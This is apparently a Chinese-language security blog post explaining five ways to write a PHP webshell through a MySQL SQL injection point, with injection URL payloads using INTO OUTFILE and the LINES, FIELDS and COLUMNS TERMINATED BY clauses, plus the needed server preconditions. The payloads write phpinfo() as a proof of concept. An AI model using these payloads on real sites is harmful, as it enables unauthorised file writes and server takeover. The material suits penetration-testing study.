MySQL注入点写webshell的五种方式
0x00 写数据的前提
1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录。
2,未开启全局gpc。(php5.329之后就没有magic_quotes_gpc)
0x01 union select 写入
最常见的写入方式,union select 后跟 into outfile 语句
注入点语句
?id=1' union select 1,2,'<?php phphinfo();?>'into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm222.php'--+
注入结果:
PS: 在windows下,位置的分隔符为 /(斜杠)。
这里into outfile 和 into dumpfile是有区别的
outfile是将导出整张完整的表
dumpfile是输出在一行上
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
0x02 lines terminated by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\num.php' lines terminated by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
0x03 lines starting by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm.php' lines starting by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。
0x04 fields terminated by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm2.php' fields terminated by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
0x05 COLUMNS terminated by 写入
注入点语句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm22.php' COLUMNS terminated by '<?php phpinfo() ?>'--+
注入结果:
注入原理:
利用 COLUMNS terminated by 语句拼接webshell的内容。COLUMNS terminated by可以理解为以每个字段的位置添加 xx 内容
最新文章
- react验证码倒计时
- ae 打开地图文档
- 烂泥:mysql5.5数据库cmake源码编译安装
- Material Design入门
- UVaLive 7270 Osu! Master (统计)
- C# DES加解密
- Winform窗体间传递数据
- twisted高并发库transport函数处理数据包的些许问题
- 安装windows 10到固态硬盘实践记录
- Coursera, Big Data 3, Integration and Processing (week 4)
- charles使用:iOS11的手机用charles抓包https
- Derek解读Bytom源码-持久化存储LevelDB
- Join The Future (剪枝 + 状态压缩)
- 【Selenium2】【项目实战】
- Linux3.10.0块IO子系统流程(3)-- SCSI策略例程
- linux system()函数详解
- 基于微信小程序的票价和时间选择以及计算总价
- java-- 的子类/父类构造方法 转
- java基础39 增强for循环(也叫foreach循环)
- CSS3加载动画
热门文章
- Java动态脚本Groovy读取配置文件
- C#验证对象中的属性是否为空的共通方法
- 【LeetCode】1094. Car Pooling 拼车
- 【LeetCode】724. Find Pivot Index 解题报告(Python)
- 【LeetCode】456. 132 Pattern 解题报告(Python)
- 【剑指Offer】最小的K个数 解题报告(Python)
- RMQ(ST(Sparse Table))(转载)
- Docker 与 K8S学习笔记(六)—— 容器的资源限制
- Codeforces 876B:Divisiblity of Differences(数学)
- CS5218|DP转HDMI4K30HZ方案|CS5218应用方案